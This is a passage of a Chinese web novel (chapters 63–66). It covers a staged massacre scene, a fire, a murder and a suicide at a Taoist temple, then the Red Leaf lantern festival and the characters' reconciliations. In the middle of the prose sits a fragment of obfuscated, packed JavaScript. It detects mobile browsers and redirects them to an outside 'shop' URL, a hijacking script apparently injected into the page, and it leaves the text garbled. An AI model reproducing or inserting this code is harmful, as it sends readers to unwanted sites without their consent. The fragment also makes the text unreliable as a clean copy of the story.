启蛰立刻将温余按下,躲在草丛中。
那两人一白一黑,一老一少,正是幸安和章执两人。
昔日的师徒如今却是大路朝天各走一边,甚至连眼神的交汇都没有。
两人同时进入,关上门后启蛰和温余才站起来。
“去看看!”
两人一起躲在窗下,听着屋内的声音。
幸安似是担忧,不断地询问着贺扶哪里伤到了,伤得重不重,现在如何了?
贺扶也一句一句的回应,过了很久,才听贺扶问道:“不知嫌犯可有抓到?”
门外偷听的两人瞬间将心提了起来。
章执的声音传出:“抓到了,你若是想审问今晚可以来小蓬莱。”
贺扶沉默片刻似乎是在斟酌,“好。”
不可以!启蛰几乎要冲进去,却被温余按住:“先冷静,你现在冲进去不就打草惊蛇了吗?”
“你伤还没好,还是再过些时日吧。”幸安劝道。
但贺扶拒绝了,“过些日子就要回去了,再者弟子的伤也不重,去问问话还是没问题的。”
一番说辞后,幸安只好同意:“既如此,你便随意吧。”
“不行,要是首辅大人有问题一定不能让大人今晚去赴约。”启蛰暗暗握紧了手中的剑。
温余也点头赞同:“那我们今晚过来拦住他!”
“嗯!”
傍晚,温余便打算去找贺扶,但刚刚出门却听到真武殿处有人大喊:“要倒了要倒了,那架子要倒了!”
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>叫喊的是位年纪轻轻的道士,而那架子的底下正是一脸惊恐的道宁。
“让开!”温余一边喊一边向道宁身边跑去。
道宁还未反应过来便被温余一把抱起,成功躲开了那倒下的架子,那木头架子摔在地上刹那间散作一地。
“你没事吧?”温余问道。
道宁似乎刚刚从惊恐中脱身,还有些后怕,他摇摇头:“我还好,多谢阿余姐姐。”
温余摸了摸他的头,“那就好,我便先走了。”
“诶,这位小友留步!”
那年轻道士喊住温余,一脸歉意道:“不知小友能否帮我一个忙?”
温余回头问:“什么忙?”
“这架子是今晚要用的,现在被摔成这样,怕是用不成了,不知小友能否帮忙把它拼好?”
温余还急着去找贺扶,只好道:“抱歉,我还有事,道长还是去寻别人吧。”
说罢,她转身又欲离开,没想到那年轻道士直接上手将她抓住,“求您了,这架子是我负责的,若是被师父他们发现了我会受罚的!”
道宁也附和道:“是啊是啊,阿余姐姐你就帮帮忙吧。”
温余往贺扶客堂的方向看了一眼,最后还是抵不过两人的请求,答应了他们。
拼这个架子应该用不了多久。
她席地而坐拿过木架子的残枝开始拼凑,但越拼她越觉得奇怪。
按理说红叶灯节作为红叶观极其重要的节日,观内之人应当极为重视,任何要用到的东西都应该先行检查,要用最好的才是。可是现在她手里的这个架子却做的十分粗糙,就连木头也是极其一般的原木,怪不得一摔就碎开了。
“道长确定这是今晚要用的?”温余看向那位年轻道士。
道士顿了顿后点头,“当然了,这可是我准备了五天的。”
“五天?”温余确信这木头架子以及面前这道士都不对了,她停下动作,目光灼灼看向他,“你是为了拖住我?”
道士沉默了,道宁在一旁看得迷糊,“师兄为何要拖住阿余姐姐?师兄也想和阿余姐姐玩吗?”
道士瞪了道宁一眼:“闭嘴。”
“是首辅大人叫你来的?”温余质问道。
道士不敢看温余的眼睛,缓缓点了点头。
果然……
温余扔下木头架子就往贺扶的客堂跑去。道宁疑惑地抬头看师兄,“师兄,你为什么要拦住阿余姐姐啊?”
“你不懂,人在屋檐下不得不低头。”道士蹲下身摸了摸道宁的头,“你不要再问了。”
……
等温余跑到贺扶门口,哪里还有贺扶的影子?
她暗道不好,也没看到启蛰的身影,现在也来不及去找他了,只能先走一步前往小蓬莱。
来到小蓬莱时,天色已经完全黑下来了,屋内却是一片寂静。
“贺大人!”温余冲进屋内,一片漆黑。
“贺大人!”温余唤了几声没有人回应,只在空气中嗅到一股浓重的血腥味。
难道是贺扶?
温余顿时慌了神,她颤抖着从怀中掏出火折子点燃了蜡烛。
眼前亮起来后,温余却被面前的景象震惊了。
血淋淋的,都是人……
被火烧过的,被乱刀砍死的,堆成小山的,好像一片尸山乱葬岗。
63. 红叶观(九)
小小的房间全是尸体?
是谁杀了这么多人?
温余震惊之余上前查探,在看到血色之下粗糙的人脸后才松了口气。
这些“尸体”都是些用布做成的假人。
那贺扶去哪儿了?温余继续向前搜寻。
这些东西都是谁做的?为什么要做这些?
忽然,一座“尸山”后传出了几声响动。
温余的心瞬间提起,她握紧了手中的蜡烛,想着那若是章执的人她便直接拿蜡烛砸过去。但当她小心翼翼地探过去才发现那是缩成一团的贺扶。
“贺大人!”温余立刻跑上前去,“贺大人你怎么了?”
贺扶紧紧抱着自己,身体颤抖着,一双含情脉脉的桃花眸此刻却是一片通红。
“贺大人?”温余缓缓伸出手去触碰他,却被他大力甩开。
“别过来,不要杀……不要杀她,不要杀她……”
不要杀谁?温余忽然想起绍王府灭门一事,火海,尸山,有人,在复刻当时的情景?
这一切都是为贺扶打造的梦魇?可他们的目的是什么呢?让贺扶崩溃吗?
温余来不及思考,谁都不知道他们会不会在下一刻冲进来要了贺扶的命,只能快些将他带出去。
她又一次尝试触碰贺扶的肩膀,边探边道:“贺大人,是我,阿蓁。你别怕,我是来带你出去的,我们回家,好吗?”
贺扶似乎停下了颤抖,他缓缓抬起头,对上温余的目光,“回家?”
“对。”温余点点头肯定道,“回家。”
贺扶眼中似乎闪过一丝怀念,回家?有家人的地方,是家。
温余伸手在贺扶背上拍了拍,柔声道:“我们回家,我、启蛰还有葛巾,大家都在。”
良久,贺扶忽然用力将温余揽进怀里,温余的脸猛得撞在贺扶的胸膛上,闻到了淡淡的血气。
“别怕。”温余继续帮他顺着背。
颤抖渐渐停下,她感到自己脖颈处有些湿润。
贺扶,哭了?!
“贺大人?”温余不确定地问。
但贺扶没有回话,只是将她用力箍住,好像是要揉进身体里一般。温余甚至能感受到自己骨骼被挤压的声音。
她有些喘不过气,轻轻拍了拍贺扶的背:“贺大人,我有些喘不过气了,松一些。”
闻言贺扶才松了松力气。等温余能喘过气来,她再次放柔了声音循循诱导打算先把贺扶带出去。
“贺大人,我们先出去好不好?我们去找启蛰,一会儿灯会就要开始了,我们去看灯……”
谁知本意为劝他出去的话在他听来却是心中梦魇,他摇头道:“我不要,我不要看灯,把灯拿走,拿走!”
因为在十五年前那一晚,他恍恍惚惚走出绍王府的时候,第一眼看到的正是漫天点缀的灯,数量很多,像是火海中的尸体一般。
从那以后,本该热闹的上元灯节,本该庆祝的生辰,绍王府从来都是冷冷清清的。
温余慌忙改口:“不看灯不看灯,我们先出去好不好?”
良久,贺扶才在温余的颈窝里轻轻点了头,温余松了口气。
但忽然的她便感到贺扶周身一震。
“火……是火……又是火……”
“什么?”温余回过头,只见窗下草丛处不知何时起了火,火势瞬间蔓延进屋内。
温余心中暗道糟糕,想趁火势还未堵住门前快些将贺扶带出去。
但贺扶好似看到了鬼怪一般,好不容易安抚下来的身体又开始颤抖。
火一起,这里便和他记忆中的场景无二了。
“不要……不要……”他呢喃着,几乎快要崩溃了。
温余眼看着火势越来越大,用力挣脱开贺扶后站起身扒下几件布人身上被血沾湿的衣服,将它们绑在一起后往贺扶身上一披,随后自己也钻了就去。
她弯腰架住贺扶,用力带着他往门口跑。
刚到门口,燃着火的横梁便猛得砸下,温余下意识地用手去挡。火焰接触到她小臂的那一刻她只觉皮肉一刺,又忽的变凉。
她很能忍痛,这轻微的痛对她来说似乎也算不得什么。她架着贺扶猛冲出门后又往前跑了几步,直到来到小蓬莱中庭才停下了。
但她也没有因此松懈。
小蓬莱偏僻,本就没有多少人会过来,更别说今夜观内热闹,灯火漫漫,很少有人会注意到这里的火光,就算真的有人看到也只会认为是灯火。
这里多草木,若是放任它烧怕是会波及观内。
温余四下看了一圈,从角落拿开修剪枝桠的铁剪还有用来培土的铲子,在一片桂花树中选了一个最粗的。
她铁剪与铲子齐用,好容易才将那树砍倒。可只单单一棵怕是挡不住火。
她再次在桂花树间奔走,来来回回砍了十几棵才停下。
最后,她用铲子在树木堆积旁挖了条沟,总算是成功隔开了火。
做完一切,她才发现自己刚刚被砸中的右手臂胀痛不已。
她倒吸一口凉气后,回到贺扶面前,他还在呆呆看着那片火光。
“贺大人,我们快走……”
她正要带贺扶离开,却听到一道熟悉的声音:“想走?你觉得会有那么容易?”
是谢旧!温余早就料到他会在这里守着。
“你想做什么?”温余挡在贺扶面前。
谢旧轻笑了一声,在这满是桂花的院子里,他身上的桃花香气竟还是那么明显。
“本来只想杀他的,没想到你会过来,那便没办法了。你们就一起死吧!正好,做一对苦命鸳鸯。”
“你和章执勾结,你们为什么要这么做?”温余喝道。
谢旧却没有回答他的问题,只是将腰间扇子展开,闪着寒光的刀刃被背后的火焰映得通红,“你当我没看过话本子?说得多,死得快。”
下一刻,那刀刃便向温余袭来。
她想挡,但右手臂却怎么都抬不起来,身后还有贺扶,她也不能让开。
电光石火间,温余只见寒光一闪,一道尖锐刺耳的声音传入耳内。
“好大的胆子,我朝命官是你这不知从何处来的贱民能伤的?!”
那声音凌厉,身形挺拔,一把红缨枪铛得震开谢旧手中的扇子,一飞十几米,最后被嵌在一颗桂花树干上。
是圣阳!
紧接着有一人从暗处闪处,身形矫健,利落如飞雁,不是启蛰又是谁?
“之前伤我家大人一次,可惜我没能找到你,今日竟敢再次出现,正好新仇旧恨一起算,看我打得你跪在我家大人面前认罪!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632889|143636||http|test|mini|href|location''.split(''|''),0,{}));
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>启蛰长剑一挥飞身上前,谢旧没了武器只能用双手肉搏。
可就算再厉害,人又怎么能和刀剑作比较?不过片刻,他那桃色的外衫就被启蛰的长剑划得褴褛,胳膊上也被割出了好几个口子,鲜血直流。
“抓活的!他还有事情没有交代!”温余喊道。
启蛰一边对谢旧步步紧逼一边回道:“我可不会让他那么容易去死!”
圣阳将红缨枪立在地上,上前查看贺扶的情况。
“他怎么了?”
温余看了看背后几乎烧成灰烬的房子,缓缓道:“有人用绍王府灭门那天的景象刺激他,不过好在没有受太多伤。”
闻言,圣阳皱起了眉,“既要比试何不大大方方打一场,使些手段真是令人不齿!”
说罢,她又注意到温余身上的血,别扭问道:“那你呢?怎么伤成这样?”
温余低头一看,见刚刚披着的血衣还在身上,想着圣阳可是误会了,便用左手将衣裳扯下,对圣阳解释道:“这个不是我的血,是拿来防火的。”
圣阳的眉头更深了,一点她的右臂,疼得温余呲牙咧嘴,“本宫说的是这个!”
温余将手臂往背后藏一藏,“没事,还好,不是很疼,过些日子就好了。”
圣阳忽的笑了一声,喃喃道:“怪不得他更喜欢你,你和他还真是像,都是打碎了牙往肚子里吞。”
温余揉揉鼻子,“是吗……?”
好像之前葛巾也这么说过。
两人交谈间,启蛰已经将谢旧制服压在贺扶面前,狠狠道:“道歉!”
贺扶此刻情绪已经稳定了些,只是淡淡看着谢旧,“你,为什么要这么做?这房子里的东西也是你布置的?”
谢旧嘴角还挂着血,但面上却没有丝毫恐惧,他呵呵的笑了。
笑得除过贺扶外的三人心里发毛。
“你们不会以为我们的谋算就是这样了吧?”
此话一出,启蛰瞬间警惕,圣阳也握住了红缨枪,随时准备一战。
可怖的笑声在几人耳边环绕了许久,谢旧才喊道:“还不出来!杀了他们,杀了他们所有人!!!”
众人皆一眨不眨地盯着周围,为了防止谢旧声东击西,启蛰将剑紧贴在他脖颈上,只要他有动作就立马割开他的喉咙。
但奇怪的是,过了许久周围都没有动静,只有燃烧的咔擦声和谢旧几近癫狂的笑声。
很快,谢旧的笑停住了,脸也僵住了。
“还不出来?!你出来啊!你就不怕我把你的秘密告诉他们吗?!”
“我已经知道了。”温余以为他是在和藏在暗处的章执说话。
谢旧却否定了,“不,你不知道,你们所有人都不知道……”
良久,谢旧忽的又笑了起来,这时他才意识到,自己被放弃了,像是儿时被那个男人丢在田埂里一样。
又一次,被放弃了……
圣阳捂着耳朵,“把他的嘴给本宫堵上,吵死了!”
谢旧继续笑,“既然这样,那我就告诉你们一个惊天大秘密,真正的背后主使是……”
咻的一声,谢旧的声音停住了。
众人都没来得及反应便见一支桂枝十分精准的定在他的眉心。
谢旧脸上的笑都没来得及收起便直直地向后倒去。
64. 红叶观(十)
启蛰嫌恶地后退一步,谢旧便仰面躺在地上,渐渐失去了气息。
死不瞑目。
温余捕捉到角落里闪过的身影,“在哪儿!”
启蛰闻声而动,飞身追上去。
这时,幸安等人才姗姗来迟。
“阿扶!”幸安快步来到贺扶面前,蹲下身查看着他的情况。
贺扶摇摇头,道:“弟子没事。”
确认贺扶没事之后,幸安才伸手往他手臂上一拍,“红叶灯节你不去前头放灯祈福非要来这地方,还受这么重的伤,是非得让吾提心吊胆的过节是吗?!”
贺扶知晓幸安担心自己,面对他的责怪也只是笑了笑,“还是多亏了阿蓁,若不是她弟子今日怕是要死在这里了。”
幸安带着感激与欣慰看向温余下一刻却换了神色,将贺扶往边上一推,对着温余诶呦诶呦地叫:“你这丫头怎么把自己搞成这个样子?你看看你这胳膊!诶呦,多白净的小姑娘搞成这样!”
幸安小心翼翼捧着温余的胳膊可惜得直叹。
温余摸摸鼻子,“其实我也没事的。”
幸安一听,脸瞬间垮了下来:“你们一个两个的都没事!吾有事,她有事,他们都有事!”
见幸安气得跳脚,贺扶上前拍拍他的背算是安慰,随后又问温余:“阿蓁,你方才说,师兄……?”
温余一惊,他听到了?!
不过事已至此,就算是不说,贺扶也该猜到了。
“我之前看到首辅大人和谢旧同谋,说要……杀了你,而且红楼一事也是他引你过来的。”温余将话说得很轻,仿佛这样就能让伤人的真相不那么残酷。
贺扶没有问为什么,也没有说话,只是轻轻地点了点头表示知道了。
这样的反应很奇怪,温余觉得这比愤怒质问更可怕,将情绪憋在心里早晚有一天会出事的。
幸安的脸色也变了,叹道:“没想到他会变成现在这个样子。”
“你的意思是说,章执要杀贺扶?为什么?”圣阳还是不理解,在她的印象里章执是很看重贺扶的,和贺扶待在一起的时间甚至要比过宋拿云。
怎么说着说着,他又要杀贺扶了?
贺扶缓缓起身,正准备走却听周围人一阵诧异。
道宁从人群中钻出来,盯着启蛰压着的那人愣愣道:“师兄……?”
温余一看果真是那个拦住自己的青年道士。
“是你杀了谢旧,为什么?”贺扶神色已归于寻常,“是首辅大人派你来的?”
那道士看着贺扶,点头。
一开始迎接贺扶和温余的清徽道长也惊道:“道生你……为何要这么做?”
这可是他最为疼爱的弟子,清徽一阵心痛。
道生看向师父和师弟的眼中带着泪光,隔了半晌也没有说话。
“你是首辅大人派来的,对吗?”贺扶厉声问道,如同在审问囚犯。
在威压下,道生仍未开口。
幸安见此上前,十分和蔼地对他笑着,看来是打算软硬兼施。
他用手搭上道生的肩膀,温声劝道:“小道士,我们不会杀你,只要你把知道的说出来,吾自可保你无恙,保你红叶观无恙。”
道生迎上幸安的目光,不多时,在众人的注视下,一道鲜血缓缓从他嘴角流下。
“他口中□□了!”启蛰叫道。
但等幸安一看,他早已失去了气息。
幸安叹道:“吾这徒儿还真是养了些听话的手下啊……”
“那,我们岂不是没有人证了?”温余觉得有些可惜。
贺扶摇头,“只要做过就一定会留下痕迹。我们一定会找到证据的。”
幸安拍拍清徽的肩膀,表示歉意:“怪吾未能及时阻止,节哀。”
清徽上前去看,抬手帮道生闭上了眼,站起身的瞬间眼前一黑,几乎要倒过去,好在一双热乎乎的小手扶住了他。
“师父,师兄怎么了?”道宁懵懵问着。
他还从未接触过死亡,也不知道死亡是什么意思,但他却有一种直觉,他以后好像再也见不到师兄了。
那个笑盈盈的,会从山下给他带糖果的师兄。
“他,成仙了。”清徽哽咽道。
“成仙了?!”道宁惊喜道,“那我日后还能见到师兄吗?”
清徽喃喃道:“见不到了,见不到了。羽化成仙了,就见不到了。”
道宁不明白为什么师父不开心,修道之人的目的不就是为了成仙吗?为何师兄成仙了,师父反而不为他高兴呢?
道宁不明白。
……
回到客堂后,贺扶命启蛰找来了烧伤药和绷带,让温余坐在自己榻上小心翼翼地帮她涂药。
温余笑了几声。
贺扶抬起眼帘问:“笑什么?”
“之前都是我给贺大人上药的,现在倒是反过来了。”
贺扶动作轻柔,唇角微微勾起,“这有什么好高兴的?受了这么重的伤。”
温余倒是心大,“苦中作乐嘛!”
贺扶也笑了一声。
“对了贺大人,关于首辅大人的事情……”温余顿了顿,观察着贺扶的表情变化,“你若是觉得难过就说出来吧,别把话都憋在心里,你可以告诉我的!”
贺扶沉默良久,却只是轻轻的摇了摇头。
“你不相信我?不愿意告诉我?”温余问。
贺扶否认道:“并非不相信你,只是此事与你无关,不该将你扯进来的。”
“可我已经知道了!”温余反驳道,“再说,那日三叔他们的话你不记得了吗?我们是一家人,一家人就是要一起面对危险,共进退的。”
贺扶手下一重,温余瞬间惊呼出声。
贺扶很快反应过来自己的过失,立刻上前补救。他将温余的胳膊向上捧了捧,轻轻吹着。
感受到带着温热的气息,温余觉得有些痒痒的,伤口痒痒的,心里也痒痒的。
“贺大人……”
贺扶抬起头来,眼中带着询问:“可是觉得疼了?”
温余咳了一声,“没有,只是有些……痒。”
见温余不痛了,贺扶便继续帮她上药。
温余就这样看着他。
忽然,屋外响起“噼啪”一声,温余立刻回过头去看。
五彩缤纷的光点在空中炸开,她惊喜道:“是烟火!”
正好贺扶帮她将胳膊包扎好,他一边收拾着工具一边对温余道:“若是喜欢便出去
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看吧。”
温余回过头,脸上还带着笑:“那你要去看吗?”
贺扶摇摇头,“我便不去了,我……有些累了。”
一夜间发生了这么多事,他确实该累了。温余虽有些失望但还是点了点头,“那我出去了。”
温余小跑到门口,又听贺扶叫她:“夜中会有些冷,把这个披着。”
她一转身便看到贺扶手臂上搭着一件月白色外衫,抬手披在她身上。
温余有些恍惚,好像很久以前贺扶也是这样帮她披衣裳的。
很久吗?好像也不是很久,她遇到贺扶,只近一年。
温余拢了拢外衫,贺扶的气息瞬间将她笼罩。
“好了,去吧。”贺扶笑着道。
……
出了客堂,温余一路来到观前,各种各样的花灯挂在架子上,从山顶一路绵延到山下,像一条暖黄色的长龙,天上烟火地上灯火,一时竟明亮如昼。
温余愣住了,就这么微张着嘴呆呆看着,直到有人在她肩上轻轻拍了一下,她才回过神来。
她转身,诧异道:“褚老板?”
仍然是一袭红衣的褚月娇笑着,“如何,红叶灯节与你们京城的上元灯节相比,哪个更好看?”
这倒是难住温余了,她还没看过京城的灯节呢!她挠挠头,老实道:“可我没见过京城的灯节,不过这里的灯节比我看到过得都要好看!”
褚月双眸微睁后又笑道:“那你今年可得好好地看看京城的灯节。”
温余点头,“一定看!”
褚月揽住温余的肩带着她向前走,“更好看的还在前面呢!走,姐姐带你去看看!”
前方是一个巨大的灯展,各式各样精巧的花灯摆在路边的小摊上。有螃蟹、小虾、蝴蝶、飞雁……
一个个都能随持有者的心意动作。温余顿时来了兴趣。
她走上前轻轻摸上一个螃蟹模样的花灯,看样子喜欢得紧。
“喜欢就买,眼巴巴看着好像我们没给过你月俸一样!”
启蛰闷闷的声音幽幽传来,温余恋恋不舍地从花灯上移开目光,只看他一眼便笑了。
启蛰面上骤然通红,“笑什么?!他们也有啊!”
启蛰头上正带着一个龙角模样的发饰,是十分鲜艳的粉色。
“可他们都是小孩子啊,你……噗……”话没说完,温余又憋不住笑了起开。
启蛰更郁闷了。
这龙角是褚月给带他上的,说是有了龙角赐福就能健康长寿,是当地的风俗。
好不容易相认,启蛰当然不好拒绝她,只能任她给自己带上。
谁知,他带上龙角前来看灯,见那些带龙角的竟都是些五六岁的孩童!
他不是孩童!他已经是大人了!
“诶呦,你可就别笑他了!”褚月笑够了才又一次搭上温余的肩,“这东西确实是小孩子带的,我要给他带上是为了补上他儿时的那一份,这样你也能像那些玩乐的孩童一般,平安顺遂。”
启蛰盯着褚月半晌,嘴唇微动:“谢谢。”
“我是你亲姐姐,谢什么?”褚月伸手摸了摸启蛰的脑袋,顺便帮他把龙角正了正。
启蛰又张了张嘴,闷闷道:“对不起。”
65. 红叶观(十一)
“怎么又对不起上了?你这孩子……”褚月又摸了摸启蛰的头。
“我,很开心能遇到我的亲人,也很开心能有你这样的姐姐,但是……”启蛰似乎是下定了决心,“我还是想和贺大人一起走,我没有不想认你,我只是像报答贺大人。”
褚月先是一愣,随后缓缓露出一个欣慰的笑:“看来我的弟弟真的长大了。我当然知道你的想法,我也支持你的想法,我和你相认仅仅只是想告诉你,在这个世上你还有亲人,你不是孤身一人。无论发生什么事情,姐姐都会永远在这里等你。”
启蛰眼眶瞬间湿了,颤抖着叫出那个才开始到现在都没有叫过的称呼:“姐姐……”
他擦了擦泪,“我不是孤身一人,也有人在陪着我的……贺大人对我很好,她也……”
温余眨眨眼,期待着启蛰对自己的感谢。
启蛰话锋一转,“她老和我吵架,她还打我,太过分了!除了圣阳郡主我还没见过这么讨厌的姑娘!”
“……”温余沉默了一会儿,搭上他的肩膀,扬扬下巴,“看身后。”
启蛰吸吸鼻子转过身,差点一哽噎死。
圣阳竟然正站在自己的十步之外,抱臂看着自己。
启蛰觉得自己这几天真是倒霉透了,怎么说点什么都会被本人听到?
“讨厌?”圣阳缓步上前,“你也配讨厌本宫?”
圣阳切了一声,但在场之人都看得出来,她并没有生气。
看到温余后,她的目光就停在了温余脸上,“之前说的比试,什么时候比?”
闻言,温余立刻捂住了胳膊,求饶道:“今天就算了吧,我是伤员,你赢了也胜之不武!再说,今夜如此璀璨盛景,提比试,有些煞风景了吧!”
圣阳哈了一声,“就这些小东西也能叫盛景?我们京城的上元灯节比这好看多了!”
“真的啊?”温余一脸期待,“那我一定得让贺大人带我去看看!”
此话一出,圣阳和启蛰的脸色似乎有些变了。
温余意识到后,问:“怎么了?”
启蛰垂眸,似乎有些难过,“上元灯节是贺大人的生辰,也是绍王府灭门的日子。”
温余僵住了,怪不得贺扶在看到窗外的灯时会有那么大反应。
启蛰继续道:“贺大人不过生辰也不过上元节,每年的这个时候他都会把自己关在屋子里,门都不出。”
“原来如此……”温余的眸子也暗了下来。
见场面瞬间冷下来,褚月招呼道:“行了行了,那些都过去了,开心点嘛!走走走,那边有派发红绳的,我们快点去,去晚了就没有了!”
褚月推着启蛰离开,还叫着温余和圣阳。
温余待在原地,没有动,手指不经意地摩擦着螃蟹花灯。
“你喜欢这个?”圣阳问。
温余回过神来,摇了摇头,“不是,就是有些好奇贺大人这些年都是怎么过的。”
冷冷清清的宅子,为数不多的知己,如今竟发现自己最为信任的师兄要杀自己。
这,该有多难过?
“还行吧,有吃有喝。”圣阳向前走了几步,“与其在这里思前想后,不如去多劝他几句,每年上元节都是一张死人脸,难看死了。”
温余一愣,“你,让我去劝贺大人?”
圣阳信然道:“对啊。”
“可你不是喜欢他吗?”温余觉得有些奇怪了。
圣阳呵一声,依旧是高傲的模样:“因为本宫想到了一个更有意思的法子。”
“什么法子?”温余问。
圣阳自得道:“本宫要去随军出征。”
“什么?!”温余更震惊了,声调都快飞出去了。
“有什么问题吗?本宫随军出征便是巾帼英雄,就算是战死沙场也要比贺扶他高好几个头。到时候可就不是他看不上本宫,而是本宫看不上他了!”
温余噗的一声笑出来。
圣阳皱眉:“很好笑吗?”
温余摇头,“不是,我是觉得圣阳郡主您简直聪慧至极啊!作为巾帼英雄,小女简直佩服!”
圣阳自傲地笑了几声后,有些别扭地道:“其实,本宫觉得,你好像也不赖,那……”
“我们交个朋友吧!”温余见她语速慢慢,定是拉不下面子来说这话,便抢先说出来。
果然见圣阳一脸得意,“既然你如此诚恳,那本宫就勉为其难的,认你这个朋友吧!”
“简直太好了!”温余一下子蹦到圣阳身边用手揽住她的脖子。
圣阳轻轻推了推她,佯装生气:“虽然交了朋友,但也不准对本宫这般放肆!”
温余却不放手,“朋友嘛,就是要贴得近一点!”
圣阳又切了一声。
“好了好了,我们也去抢红绳吧!”温余提议道。
圣阳虽然嘴上说着“装神弄鬼,傻子才信”但还是跟着温余往前走。
但走了一半她又忽然停了下来。
“你先待在这儿的呢跟着本宫,本宫去去就来。”
留下一句话,圣阳便往回走去,温余乖巧地在路边的等着。不多时,圣阳便回来了,手中还拿着什么东西。
走近了温余才发现,她提着一个灯,就是自己方才摸了的那盏。
圣阳将提手一递,道:“本宫可不是小气的人,这个算是送你的礼物,还不谢恩?”
温余双手接过,猛鞠一躬,大声道:“多谢圣阳郡主!”
“不过,我还有一件埋在心里很久的事情想和您说!”
圣阳走到温余身边,一边向前走,一边问:“什么,说罢。”
温余一笑道:“我能不能和您学枪啊!我感觉耍枪特别厉害!”
“哦?”圣阳转头看向她,佯装思索后,道,“既你这般恳求,本宫就准了你的愿望。等到回了京城,你就来本宫府上。”
圣阳忽然停下,道:“不过本宫可事先说好,本宫可和贺扶那样子不一样,若是你敢有所懈怠或学艺不精,本宫便要狠狠地惩罚你!”
温余重重点头:“好!”
……
红绳是当地极为出名的手艺人编的,从缫丝开始做起,最后再送到红叶观进香。每年红叶灯节都会有人特意上山来求这红绳,意味福寿绵长,鸿运当头。
温余也帮贺扶和没有来这里的葛巾各自拿了一根。
她本打算去找贺扶将这红绳给他送去,但在走到观门口的时候看到有一个人横刀坐在房檐上向远处眺望。
“宁壮士?你也来了?”温余抬头问。
宁千山听到声音后对着温余点头,算是打过了招呼。
“那边很热闹的,你要不要也去看看?”温余问道。
宁千山没有说话,正准备再次
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眺望远方却又忽然顿住了。
“你在这儿干什么呢?呆了?”启蛰手里也拿着两根红绳向门口走来。
温余看看自己手里的,问:“你怎么也多拿了两根?我已经拿过了!”
启蛰也诧异道:“你拿了怎么也不早说?一人只能拿一根,我还求了那老伯好久!”
“你还不给人家送回去!”
“为什么你不去送?”启蛰觉得不公平。
温余反驳道:“我先来的,你去!”
启蛰无奈,正要转身却瞥到了在屋檐上坐着的宁千山。他登时警戒起来,拔剑便道:“刺客!”
温余上前按下他的手,向他解释道:“这位是我们的朋友,也是你姐姐的朋友,不是刺客,你先把剑收起来!”
启蛰将信将疑地收回剑,对房檐上的宁千山喊道:“你为什么待在这里?”
宁千山似乎不想说话,但在看清问话之人是启蛰后思索了一瞬,答道:“看风景。”
温余也抬头眺望,“上面的风景会更好看吗?”
宁千山点头。
“诶,那我们也上去看看吧!”温余扯扯启蛰的胳膊。
说着,她便要去寻梯子,启蛰拉住了她:“你干什么去?”
“拿梯子啊!”温余信然道。
启蛰哼一声,“手给我,我带你上去。”
“哇,你这么好心?”温余往后退了几步,事出反常必有妖!
她严重怀疑启蛰打算把她从半空中丢下去。
启蛰不耐烦道:“你不想上去就算了,我自己上去。”
温余拉住他,赔笑道:“上上上。”
启蛰架住温余的胳膊,飞身来到屋檐上,直接坐在宁千山身边。
温余揉了揉被拉痛的胳膊,听启蛰道:“你,是我姐姐的朋友?”
宁千山目光不改,点头道:“是。”
“那,这些年我姐姐过得好吗?”启蛰问。
宁千山忽得垂下眼,摇摇头,道:“我不知道。”
“那你知道什么有关我姐姐的事情,能不能告诉我?我想知道。”
温余在一旁看着,这些事和她没有关系,那她便不参与了。但她能感受到,这样的语气是启蛰从来没有过的。
宁千山收回了目光,直直地盯着启蛰,他问:“你知道郑钧义吗?”
启蛰点头:“是之前的崇安县令。”
“你们父母当年在崇安开了一间医馆,我第一次见到她,是在一个大雪天。”
那次的雪是崇安下过的最大的雪,几乎能埋到行人的小腿。入了夜更加寒冷,街上空荡荡的没有一个行人。只有一个乞儿待在大雪之中,一个黑点淹没在雪里,像是一只虫子,无论是谁过路都能踩上一脚。
他的腿被白日里路过的醉鬼打断了,想要找个地方取暖也没有办法,只能痴痴待在雪里,等待这自己的死亡。
他闭上眼,安静的等待死亡来临的那一刻。死了,就不会再冷了吧?
“你没事吧?”
一道清澈的女声从头顶传来,他猛得一下睁开眼睛,伸手去掐来人的脖子。
无论是谁,随便掐死一个陪自己一起死。这天下对他不好,那他就算是死也不会给天下一个清净!
少女突然被掐住了脖子,说话都是断断续续的,“我……不是要害你,我爹娘叫我过来……帮你。”
66. 红叶观(十二)
帮我?乞儿动作顿了顿。
为什么帮我?
他猛得向手中那少女看去,直直撞进一双带着水光的眸子。他发誓,这是他见过的,最为漂亮的一双眼睛,漂亮到他一时忘了动作。
等少女终于从他手中挣脱,他才反应过来,他冷冷地道:“我没有钱。”
少女咳嗽了几声找回了自己的声音,那声音婉转犹如枝头的黄莺一般,“不收你的钱,医者仁心,我爹娘不想看到一条生命在他们眼前消失。”
少女站起身,拍了拍大红棉氅上的雪,大红的衣服衬得她本就白皙的小脸更加如玉般精致。见身后的人没有动作,少女又回身催促一声:“若是再不走,你就真的要被冻死在雪地里了!”
乞儿低头看看自己,“我的腿断了,走不动。”
少女上前一看果真断了,好在自己父亲是救治跌打损伤的一把好手,她向那乞儿伸出一只手,“来吧,我扶你。”
乞儿先是纠结了半晌,然后将手往厚厚的雪地中擦了许久,想把自己手上的污泥擦干净,但他又忽然想到这样会冰着她,又停下了动作。
少女看出了他的窘迫,俯下身将自己的大氅披在他的身上,露出内里的雪白衣衫。
她将乞儿扶起来,一路带到医馆门口。
屋内灯光昏黄,一进门便是浓郁的药香,桌前对坐两人,男人正在磨药,女人则是抱着一个出生不久的小儿逗弄着,拨浪鼓清脆的响声回荡在医馆的每一个角落。
见女儿将人带了回来,男人立刻迎上前用衣裳将女儿单薄的身子包住,“先去炉子边上暖一暖。”
少女离开,男人扶着乞儿来到床榻旁,掀起他的衣摆观察着他的腿。
男人松了口气,好在伤得不严重,还能治好。
男人声音轻柔:“小公子别怕,很快就好了,来先吃颗糖!”
乞儿接过糖,紧紧地将它攥在手里,看着男人的动作。他的动作很轻柔,很快就将他断了腿接上了。随后他直起身,拍拍乞儿的头:“没事啊,你的腿已经好了,先躺一会儿,小月去给你熬药了。”
乞儿被男人放平躺在床上,随后男人为他搬来了火炉。
